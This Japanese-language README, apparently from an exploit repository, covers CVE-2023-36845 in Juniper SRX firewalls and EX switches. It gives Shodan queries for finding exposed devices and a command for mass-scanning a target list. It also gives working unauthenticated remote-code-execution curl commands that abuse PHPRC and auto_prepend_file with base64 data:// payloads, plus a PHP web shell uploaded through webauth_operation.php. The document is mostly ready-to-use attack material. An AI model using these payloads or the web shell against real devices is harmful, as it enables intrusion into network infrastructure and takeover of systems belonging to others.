CVE-2023-36845

説明

CVE-2023-36845 は、Juniper SRX ファイアウォールおよび EX スイッチに影響を与える、注目すべき PHP 環境変数操作の脆弱性です。Juniper はこの脆弱性を中程度の深刻度として分類していますが、この記事では、この単一の脆弱性がどのようにリモートかつ認証なしのコード実行に悪用され得るかを明らかにします。

検索 - Shodan

title:"Juniper Web Device Manager"

title:"Juniper" http.favicon.hash:2141724739

使用方法 🛠

検出

python3 CVE-2023-36845.py -f targets.txt -o output.txt

RCE 🧨

オプション 1

auto_prepend_file と組み合わせて任意のプロトコルラッパーを利用することが可能です。この操作に最も適しているのは data:// プロトコルであり、インラインで「二次ファイル」を提供できます。以下は、data:// スキーム内に埋め込まれた <? phpinfo(); ?> を実行する、このエクスプロイトの高度な表現です。

curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

whoami コマンドを実行

<?php shell_exec('whoami'); ?>

curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD9waHAgc2hlbGxfZXhlYygnd2hvYW1pJyk7ID8+Cg=="'

オプション 2

ファイルをアップロード

<?php if(isset($_REQUEST[cmd])){ echo "<pre>"; $cmd = ($_REQUEST[cmd]); system($cmd); echo "</pre>"; die; }?>

$ curl http://target.tld/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "shell.php", "fileData": ",PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUW2NtZF0pKXsgZWNobyAiPHByZT4iOyAkY21kID0gKCRfUkVRVUVTVFtjbWRdKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pgo=
", "csize": 110}]'

パラメータ 🧰

パラメータ	説明	タイプ
--file / -f	ターゲットファイルを入力	ファイル
-o	出力ファイル	ファイル

Juniper-exploit-CVE-2023-36845

人気